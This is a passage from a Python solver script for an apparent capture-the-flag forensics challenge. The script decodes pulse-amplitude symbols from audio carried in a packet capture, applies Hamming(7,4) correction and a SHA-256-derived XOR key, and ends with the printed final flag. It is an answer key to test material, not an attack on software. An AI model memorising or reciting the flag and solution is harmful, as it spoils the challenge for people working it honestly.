for b in range((len(diff) + tick - 1) // tick):
seg = diff[b * tick:b * tick + 64]
pulses = np.flatnonzero(seg > 0.75e-6)
if len(pulses) != 2:
continue
center = [int(p) for p in pulses if 30 <= int(p) <= 34]
if len(center) != 1:
continue
amp = int(round(float(seg[center[0]]) * 1e7))
if amp not in amp_to_ca:
continue
symbols.append({'tick': b, 'ca': amp_to_ca[amp]})
return symbols
def hamming74_decode_from_ca(ca_values):
# ca is a quaternary symbol: 0->00, 1->01, 2->10, 3->11.
bits = []
for v in ca_values:
bits.extend([(v >> 1) & 1, v & 1])
def encode_nibble(n):
# Standard Hamming(7,4), bit order: p1 p2 d1 p4 d2 d3 d4.
d1, d2, d3, d4 = (n >> 3) & 1, (n >> 2) & 1, (n >> 1) & 1, n & 1
p1 = d1 ^ d2 ^ d4
p2 = d1 ^ d3 ^ d4
p4 = d2 ^ d3 ^ d4
val = 0
for bit in (p1, p2, d1, p4, d2, d3, d4):
val = (val << 1) | bit
return val
code = [(n, encode_nibble(n)) for n in range(16)]
nibbles, errors = [], []
for i in range(0, len(bits) - 6, 7):
v = 0
for bit in bits[i:i + 7]:
v = (v << 1) | bit
dist, nib = min(((v ^ cw).bit_count(), n) for n, cw in code)
nibbles.append(nib)
errors.append(dist)
out = bytearray()
for i in range(0, len(nibbles) - 1, 2):
out.append((nibbles[i] << 4) | nibbles[i + 1])
return bytes(out), errors
def decode_ciphertext(symbols):
ca_stream = ''.join(str(x['ca']) for x in symbols)
sync = '31032101'
starts = [i for i in range(len(ca_stream) - len(sync) + 1) if ca_stream[i:i + len(sync)] == sync]
blocks = {}
debug = []
for i, st in enumerate(starts):
end = starts[i + 1] if i + 1 < len(starts) else len(symbols)
frame_ca = [x['ca'] for x in symbols[st + len(sync):end]]
if len(frame_ca) < 8:
continue
index = int(''.join(map(str, frame_ca[:4])), 4)
length = int(''.join(map(str, frame_ca[4:8])), 4)
decoded, errors = hamming74_decode_from_ca(frame_ca[8:])
payload = decoded[:length]
blocks[index] = payload
debug.append((i, symbols[st]['tick'], index, length, len(frame_ca), sum(errors), payload.hex(), decoded[length:length + 2].hex()))
ciphertext = b''.join(blocks[i] for i in sorted(blocks))
return ciphertext, starts, debug
def main():
src = sys.argv[1] if len(sys.argv) > 1 else 'The music secret.zip'
with tempfile.TemporaryDirectory() as td:
p = Path(src)
if p.suffix.lower() == '.zip':
with zipfile.ZipFile(p) as z:
names = z.namelist()
pcap_name = next(n for n in names if n.endswith('.pcapng'))
z.extract(pcap_name, td)
pcap = str(Path(td) / pcap_name)
else:
pcap = str(p)
assets, ranges, agent, asset_id = recover_assets(pcap)
symbols = extract_ca_symbols(assets['cache'], assets['studio'])
ciphertext, sync_starts, debug = decode_ciphertext(symbols)
seen = set()
starts = []
for r in ranges:
if r['asset'] == 'cache' and r['start'] not in seen:
seen.add(r['start'])
starts.append(r['start'])
material = f'{agent}|{asset_id}|{",".join(map(str, starts))}'.encode()
key = hashlib.sha256(material).digest()
b64 = bytes(c ^ key[i % len(key)] for i, c in enumerate(ciphertext))
flag = base64.b64decode(b64).decode()
print('[+] HTTP agent:', agent)
print('[+] asset id:', asset_id)
print('[+] cache first-seen range count:', len(starts))
print('[+] key:', key.hex())
print('[+] symbols:', len(symbols), 'sync:', sync_starts)
for row in debug:
print('[+] frame capture=%d tick=%d index=%d length=%d symbols=%d hamming_err_sum=%d payload=%s extra=%s' % row)
print('[+] ciphertext:', ciphertext.hex())
print('[+] xor result:', b64.decode())
print('[+] flag:', flag)
if __name__ == '__main__':
main()
最终 flag 为:
SCTF{stream_order_meets_noisy_rhythm}